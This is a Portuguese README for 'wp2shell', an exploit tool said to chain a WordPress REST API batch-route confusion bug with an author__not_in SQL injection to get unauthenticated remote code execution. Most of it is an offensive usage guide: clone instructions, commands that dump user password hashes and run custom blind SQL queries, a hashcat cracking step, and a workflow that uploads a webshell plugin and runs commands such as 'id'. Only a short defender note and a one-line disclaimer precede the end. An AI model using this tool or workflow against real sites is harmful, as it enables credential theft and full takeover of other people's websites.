
Execução Remota de Código (RCE) não autenticada no núcleo do WordPress permite que atacantes executem código arbitrário sem fazer login, encadeando CVE-2026-63030 e CVE-2026-60137, o que pode levar ao comprometimento total do site.
Execução Remota de Código Não Autenticada para POC do WordPress Core (CVE-2026-63030 + CVE-2026-60137)
O exploit wp2shell para a cadeia de vulnerabilidades críticas no núcleo do WordPress. Ele combina um bug de confusão de rota batch da API REST com uma injeção de SQL em WP_Query para alcançar execução remota de código não autenticada em instalações vulneráveis do WordPress.
| Detalhe | Informação |
|---|
| CVEs | CVE-2026-63030 (confusão de rota batch da API REST) + CVE-2026-60137 (author__not_in SQLi) |
| Afetados | WordPress 6.9.0 – 6.9.4, 7.0.0 – 7.0.1 |
| Corrigido | 6.9.5, 7.0.2 |
| Autenticação Necessária | Nenhuma — não autenticado |
| CVSS | Crítico (cadeia de RCE) |
| Descoberto por | Adam Kues (Assetnote / Searchlight Cyber) |
| Dependências | Python 3.8+ — apenas biblioteca padrão |
O exploit encadeia dois bugs no núcleo do WordPress:
CVE-2026-60137 — Injeção de SQL – Quando author__not_in é passado como uma string em vez de um array, o WordPress ignora a proteção de sanitização is_array() e interpola o valor bruto em uma cláusula SQL NOT IN (...).
CVE-2026-63030 — Confusão de Rota Batch – O endpoint /wp-json/batch/v1 constrói arrays paralelos $matches e $validation. Uma sub-requisição malformada é anexada a $validation mas não a $matches, causando um deslocamento de índice de +1. A sub-requisição i é despachada com o manipulador da sub-requisição i+1.
Combinados: Uma requisição POST /wp/v2/posts contendo uma requisição interna GET /wp/v2/users com uma string author_exclude contorna tanto a lista de permissões de métodos quanto a sanitização de entrada. A string chega ao WP_Query como author__not_in e é interpolada no SQL — proporcionando injeção de SQL cega não autenticada.
A partir daí, a ferramenta pode:
| Funcionalidade | Descrição |
|---|---|
| Verificação de Vulnerabilidade | Sonda segura de atraso de tempo — não lê dados, não altera nada |
| Extração de Dados | Injeção de SQL cega com otimização de busca binária para extração eficiente |
| Dump de Hashes de Usuários | Extrai hashes de user_login e user_pass de wp_users |
| Execução Remota de Código | Autentica como admin, faz upload de um plugin webshell, executa comandos |
| Shell Interativo | Sessão persistente de execução de comandos |
| Saída Colorida | Feedback visual claro para resultados de varredura |
| Sem Dependências | Usa apenas a biblioteca padrão do Python |
git clone https://github.com/lucifer0xf/wp2shell-Wordpress-TOWN.git
cd wp2shell-Wordpress-TOWN
chmod +x wp2shell.py
Só isso. Nenhum pacote de terceiros é necessário.
./wp2shell.py <url> [command] [options]
./wp2shell.py http://target.com
Inicia um menu interativo com todas as funcionalidades disponíveis por meio de opções numeradas.
check — Confirmar Vulnerabilidade (Seguro)Executa uma sonda de atraso de tempo para confirmar a explorabilidade. Não lê dados e não altera nada.
./wp2shell.py http://target.com check
read — Extrair Dados (Injeção de SQL Cega)Extrai informações do banco de dados usando injeção de SQL cega baseada em tempo.
# Server fingerprint (version, database, user)
./wp2shell.py http://target.com read
# Extract user logins and password hashes
./wp2shell.py http://target.com read --users
# Extract database name
./wp2shell.py http://target.com read --database
# Extract MySQL version
./wp2shell.py http://target.com read --version
# Custom SQL query
./wp2shell.py http://target.com read --query "SELECT @@version"
shell — Execução Remota de CódigoRequer credenciais válidas de administrador. A injeção de SQL pode recuperar o hash da senha, mas você deve fornecer a senha em texto claro recuperada.
# Execute a single command
./wp2shell.py http://target.com shell --user admin --password 'recovered_pass' --cmd "id"
# Execute a single command (short form)
./wp2shell.py http://target.com shell --user admin --password 'recovered_pass' --cmd whoami
| Opção | Descrição |
|---|---|
--users | Extrai user_login e user_pass de wp_users |
--database | Extrai o nome do banco de dados atual |
--version | Extrai a versão do MySQL |
--query "SQL" | Executa uma consulta SQL personalizada (extração cega) |
--user USER | Nome de usuário administrador para RCE |
--password PASS | Senha de administrador para RCE (texto claro, recuperada via SQLi) |
--cmd CMD | Comando a executar via webshell |
# 1. Check if the target is vulnerable
./wp2shell.py https://example.com check
# 2. Extract admin password hashes
./wp2shell.py https://example.com read --users
# 3. Crack the hash offline (using hashcat, john, etc.)
# hashcat -m 400 <hash> /path/to/wordlist.txt
# 4. Execute a command with the recovered password
./wp2shell.py https://example.com shell --user admin --password 'cracked_pass' --cmd "id"
| Branch | Afetadas | Corrigidas |
|---|---|---|
| 6.9.x | 6.9.0 – 6.9.4 | 6.9.5 |
| 7.0.x | 7.0.0 – 7.0.1 | 7.0.2 |
| 6.8.x | 6.8.0 – 6.8.5 (apenas SQLi, sem RCE) | 6.8.6 |
Versões anteriores à 6.9.0 não são afetadas pela cadeia completa de RCE.
Para Defensores:
POST /wp-json/batch/v1 com corpos requests aninhados404 na rota batch nem sempre significa "corrigido" — também pode significar que um WAF/CDN está bloqueando o acesso anônimo à API RESTEsta ferramenta é apenas para fins educacionais e de testes de segurança autorizados.